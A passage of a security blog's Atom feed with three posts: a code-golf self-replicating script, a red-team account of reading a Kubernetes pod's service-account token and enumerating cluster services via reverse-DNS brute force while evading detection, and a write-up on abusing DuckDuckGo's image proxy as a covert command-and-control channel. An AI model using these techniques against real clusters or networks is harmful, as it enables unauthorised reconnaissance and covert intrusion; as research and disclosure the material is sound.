&lt;p&gt;My &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python&lt;/code&gt; entry relied on a few common tricks such as loading all objects in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shutil&lt;/code&gt; module using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt; symbol (fun fact: the space after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;import&lt;/code&gt; is optional). This gives us access to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;copy()&lt;/code&gt; function, which only takes up 4 bytes. We then use the builtin &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__file__&lt;/code&gt; variable as the first argument and the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;4&apos;&lt;/code&gt; as the name of the destination file.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;shutil&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__file__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;4&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally we get to the cheeky ace up my sleeve in order to get python to print &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt; to stdout. The rules just stated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt; needed to be printed, it didn’t state that &lt;em&gt;other&lt;/em&gt; output couldn’t accompany it. The shortest way I found of producing this sort of output is to try dividing 4 by 0, which will cause a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ZeroDivisionError&lt;/code&gt; exception and terminate the script. I got &lt;a href=&quot;https://infosec.exchange/@const/110986639752255684&quot;&gt;confirmation from the organizers&lt;/a&gt; of the competition that this was within the spirit of the rules.&lt;/p&gt;

&lt;h2 id=&quot;bash-10-bytes&quot;&gt;Bash (10 bytes)&lt;/h2&gt;

&lt;p&gt;Armed with a technical workaround for one of the rules, I tried the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell&lt;/code&gt; category. Most of the other competitors were using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cp&lt;/code&gt; to move the script and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo&lt;/code&gt; to print out the number 4. I found that if you give &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cp&lt;/code&gt; the verbose flag, it will happily tell you the names of the files it is operating on - which prints out &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt; 4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Reviewing the other entries I noticed an efficiency which would have saved me a single byte. &lt;a href=&quot;https://twitter.com/caioluders/&quot;&gt;@caioluders&lt;/a&gt; submitted an 11 byte entry using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt; in place of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$0&lt;/code&gt; which selects all files in the current directory (see &lt;a href=&quot;https://tldp.org/LDP/abs/html/globbingref.html&quot;&gt;globbing&lt;/a&gt;). Had they also used the verbose flag, they would have won!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BGGP4 was a fun way to spend a few hours - big props to @netspooky and the rest of the team!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/happy-cat.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Service Discovery in Kubernetes with Restrictive Permissions</title>
   <link href="https://nopcorn.run/2024/07/08/kubernetes-service-discovery"/>
   <published>2024-07-08T00:00:00+00:00</published>
   <updated>2024-07-08T00:00:00+00:00</updated>
   <id>https://nopcorn.run/2024/07/08/kubernetes-service-discovery</id>
   <author>
     <name>nopcorn</name>
   </author>
   <summary>When operating in a kubernetes environment without permissions allowing you to list pods and services, there are other options for getting the lay of the land</summary>
   <category term="kubernetes"/>
   <category term="eks"/>
   <category term="k8s"/>
   <category term="tradecraft"/>
   <category term="discovery"/>
   
   <content type="html">&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;Most Kubernetes clusters running CoreDNS support reverse DNS lookups by default&lt;/li&gt;
    &lt;li&gt;Listing pods and services in a cluster is considered a privileged action, protected by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list&lt;/code&gt; verb on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;services&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;namespace&lt;/code&gt; resources&lt;/li&gt;
    &lt;li&gt;Bruteforcing the cluster’s IP space via reverse DNS lookups will reveal services available in the cluster&lt;/li&gt;
    &lt;li&gt;This allows for some light privilege escalation ™&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;In a recent red team engagement, I encountered a curious scenario while navigating a Kubernetes cluster. After exploiting a vulnerability in an ephemeral pod and deploying a customized version of the &lt;a href=&quot;https://github.com/MythicAgents/poseidon&quot;&gt;Poseidon&lt;/a&gt; agent, I turned to lateral movement and privilege escalation. Generally, I start with the stored API creds already available in the pod located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/code&gt; to see what I can access.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-hack-nowrap&quot;&gt;$ curl -L &quot;https://dl.k8s.io/release/v1.30.2/bin/linux/amd64/kubectl&quot; -o /tmp/kubectl
$ chmod +x /tmp/kubectl
$ /tmp/kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) auth can-i --list
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In this case - I couldn’t access anything. This effectively rendered the Kubernetes API useless for further exploration unless I found a new token to try out. I turned to classic old-school lateral movement and host discovery.&lt;/p&gt;

&lt;p&gt;I knew a SentinelOne agent was present on the hypervisor so fast network-based host discovery via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zmap&lt;/code&gt; would be much too noisy and risk giving away the attacker advantage so early in the engagement. I thought about writing a quick and dirty python scanner with generous sleeping in between hosts, but after discovering I was in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/16&lt;/code&gt; I didn’t have the patience to sit through slowly working by way through 65000 potential live IPs. Additionally, I could identify a live IP but due to how Kubernetes clusters are managed that IP could be reassigned or abandoned at any time if a new deployment or load balancing was performed.&lt;/p&gt;

&lt;p&gt;Instead I looked for quieter ways of identifying services and pods that wouldn’t be as scrutinized by security products and audit logs, but allowed me to progress somewhat quickly. I decided to take a look at how CoreDNS worked as there was likely less visibility on DNS queries and resolutions within a cluster.&lt;/p&gt;

&lt;p&gt;In Kubernetes, DNS is used by pods to identify other services available in the cluster as IPs change frequently. Every service in Kubernetes is provisioned an entry in the cluster’s DNS that corresponds to its service name and the namespace that it’s in:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/k8s-dns-structure.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The only namespace I knew of was the one I was currently in (found in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/run/secrets/kubernetes.io/serviceaccount/namespace&lt;/code&gt;). I debated generating a wordlist of common namespace and service names but decided against bruteforcing.&lt;/p&gt;

&lt;p&gt;From previously listing network interfaces, I knew that I was in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/16&lt;/code&gt; network and could iterate through the IP addresses performing &lt;a href=&quot;https://en.wikipedia.org/wiki/Reverse_DNS_lookup&quot;&gt;reverse lookups&lt;/a&gt; if CoreDNS automatically inserted PRT records or if it resolved the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;in-addr.arpa&lt;/code&gt; domain name.&lt;/p&gt;

&lt;p&gt;As it so happens, this is a &lt;a href=&quot;https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/#coredns&quot;&gt;feature of CoreDNS which is enabled by default&lt;/a&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;in-addr.arpa&lt;/code&gt; domain being present allows for the server to automatically resolve our reverse lookups.&lt;/p&gt;

&lt;p&gt;I wrote a quick and dirty pastable python script that will read an IP range in CIDR notation from the environment and try a reverse resolution for each IP:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;socket&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;ipaddress&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;cidr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;environ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;cidr&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;net&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ipaddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cidr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getnameinfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipaddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; -&amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Collapsing this script into a one liner and running it through python looks something like this:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ cidr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;172.20.0.0/16&quot;&lt;/span&gt; python3 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;exec(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;import socket&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;import ipaddress&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;import os&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cidr = os.environ.get(&apos;cidr&apos;)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;net = ipaddress.ip_network(cidr)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;for ip in net:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;name = socket.getnameinfo((str(ip), 0), 0)[0]&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;try:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ipaddress.ip_address(name)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;except ValueError:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;print(f&apos;{name} -&amp;gt; {ip}&apos;)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;compute&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I had to grep out the non-service responses or else every IP address would return a default AWS resolution like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ip-172-20-0-7.us-east-1.compute.internal&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Letting this script run for a bit gave me a complete list of services in the cluster and their currently associated IP addresses. Additionally, because the namespace a service is hosted in appears in the domain name for it, I get a partial list of valid namespaces in the cluster. &lt;strong&gt;This essentially allows an unprivileged token to give itself the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list&lt;/code&gt; verb on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;services&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;namespaces&lt;/code&gt; resources, even if they have been explicitly denied&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Armed with a list of valid services in the network I could now pivot to software identification and port scanning.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Using DuckDuckGo&apos;s Image Proxy as a C2 Channel</title>
   <link href="https://nopcorn.run/2023/09/25/duckduckgo-as-c2"/>
   <published>2023-09-25T00:00:00+00:00</published>
   <updated>2023-09-25T00:00:00+00:00</updated>
   <id>https://nopcorn.run/2023/09/25/duckduckgo-as-c2</id>
   <author>
     <name>nopcorn</name>
   </author>
   <summary>DuckDuckGo&apos;s image preview APIs put way too much trust in the user and don&apos;t validate that the requests came from authentic browsing behavior.</summary>
   <category term="infrastructure"/>
   <category term="c2"/>
   <category term="proxy"/>
   
   <content type="html">&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;DuckDuckGo’s image proxy doesn’t allow-list trusted URLs, so anyone can request any image through it.&lt;/li&gt;
    &lt;li&gt;The proxy doesn’t sanitize the URI, allowing for any number of request parameters to be relayed to the server hosting the image.&lt;/li&gt;
    &lt;li&gt;This can be leveraged by a malicious actor to covertly communicate with a compromised server using an image-based protocol.&lt;/li&gt;
    &lt;li&gt;Small proof of concept provided: &lt;a href=&quot;https://github.com/nopcorn/DuckDuckC2&quot;&gt;DuckDuckC2&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://duckduckgo.com&quot;&gt;DuckDuckGo&lt;/a&gt; (DDG) is a search engine known for its emphasis on user privacy. Unlike many other search engines, it doesn’t track users’ search history, ensuring a more private online search experience. With its user-friendly interface and commitment to not collecting or sharing personal information, it has garnered a dedicated user base among privacy-conscious individuals.&lt;/p&gt;

&lt;h1 id=&quot;expected-behavior&quot;&gt;Expected Behavior&lt;/h1&gt;

&lt;p&gt;Conducting an image search via DuckDuckGo results in many requests to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;external-content&lt;/code&gt; subdomain:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/ddg-image-search-network-loads.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This endpoint seems to accept a url as parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u&lt;/code&gt; and returns and image. From some of the research I’ve been conducting on image proxies, I know this domain as Bing’s own image proxy (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tse.mm.bing.net&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tse.explicit.bing.net&lt;/code&gt;). It’s not surprising that DuckDuckGo would be leveraging Bing’s services as they &lt;a href=&quot;https://duckduckgo.com/duckduckgo-help-pages/results/sources/&quot;&gt;source traditional links and images in their search results from the company&lt;/a&gt;. Scrolling down through multiple pages of image search always shows the same domains being supplied in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;I assumed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;external-content&lt;/code&gt; proxy would only be allow-listing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.bing.net&lt;/code&gt; domains and decided it would be interesting to try and confuse the regular expression that was underpinning this function by registering custom domains with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bing&lt;/code&gt; substrings. Keeping things simple though, I first tested for the presence of the allow-listing by generating a webhook on my testing server and providing it to the proxy…&lt;/p&gt;

&lt;p&gt;..and it happily tried to pull the image 🤦&lt;/p&gt;

&lt;h1 id=&quot;probing-the-api&quot;&gt;Probing the API&lt;/h1&gt;

&lt;p&gt;To my surprise, DuckDuckGo happily accepted the webhook and requested it to receive content. I guess they aren’t allow-listing domains. The request my server received looked like this - curiously, the IP it came from doesn’t appear in &lt;a href=&quot;https://duckduckgo.com/duckduckgo-help-pages/results/duckduckbot/&quot;&gt;DuckDuckGo’s list of DuckDuckBot IPs&lt;/a&gt;, despite providing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DuckDuckBot/1.1&lt;/code&gt; user-agent:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /notanimage HTTP/1.1
Host: &amp;lt;MYSERVER&amp;gt;
Accept: */*
connection: close
accept-encoding: gzip
user-agent: DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Probing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/iu&lt;/code&gt; endpoint a bit more, I discovered that DuckDuckGo returns a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP/2 400&lt;/code&gt; error if the content isn’t understood by the proxy (aka it isn’t an image in a valid format - likely based on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; headers). Alternative HTTP verbs like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt; get automatically converted by DuckDuckGo’s servers to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; for the same endpoint. We know the server software is likely &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nginx&lt;/code&gt; based on the banner, so it’s possible the location block for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/iu&lt;/code&gt; endpoint looks something like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;location @force_get {
    proxy_method GET;
    proxy_pass_request_headers off;
    proxy_pass http://ourupstream;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The proxy &lt;em&gt;does&lt;/em&gt; pass request parameters to the server hosting the image. I fuzzed the maximum parameter size and it doesn’t seem like DuckDuckGo is performing any filtering on content or length. This means that the only limit is from the web servers and clients doing the proxying. I was able to relay 8192 bytes of data without issue and suspect that number isn’t the ceiling. Additionally, it seems like multiple DuckDuckGo subdomains support the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/iu&lt;/code&gt; proxy service.&lt;/p&gt;

&lt;h1 id=&quot;using-as-a-c2-channel&quot;&gt;Using as a C2 Channel&lt;/h1&gt;

&lt;p&gt;Assuming we control both sides of proxy connection, we can communicate using request parameters and return output via encoded images using the proper &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; headers. While this can be leveraged in many ways, here’s how my proof of concept &lt;a href=&quot;https://github.com/nopcorn/DuckDuckC2&quot;&gt;DuckDuckC2&lt;/a&gt; works:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/duckduckc2-flow.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It assumes that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server.py&lt;/code&gt; is running somewhere where a shell is desired and that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client.py&lt;/code&gt; needs to communicate with it from reputable IP space (DuckDuckGo). The client can relay tasking for the server via GET parameters and the output the commands are encoded into the image returned as a result. DuckDuckGo happily forwards on the modified image and the client is able to extract the output from it. All of this functionality is wrapped is a pseudo-shell to give the client the impression they are interacting with an actual shell.&lt;/p&gt;

&lt;h1 id=&quot;remediation&quot;&gt;Remediation&lt;/h1&gt;

&lt;p&gt;Without internal knowledge of DuckDuckGo’s strategy for image search, it’s difficult to say if this open proxy is a bug or pre-positioning code for integration with future image providers. I would suggest applying an allow-list of domains to the API underpinning this feature - likely something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.bing.net&lt;/code&gt; would suffice as it seems all legitimate use of the proxy simply points to Bing. DuckDuckGo does have many other products though, so it’s possible there are other uses in other codebases.&lt;/p&gt;

&lt;p&gt;Defending against the use of this technique in a network isn’t too difficult seeing as most web servers will log request parameters. Regardless of the directionality (whether the client or server is in your network), attackers will have to go to great lengths to obfuscate commands and responses from network-aware security solutions.&lt;/p&gt;

</content>
 </entry>
 

</feed>
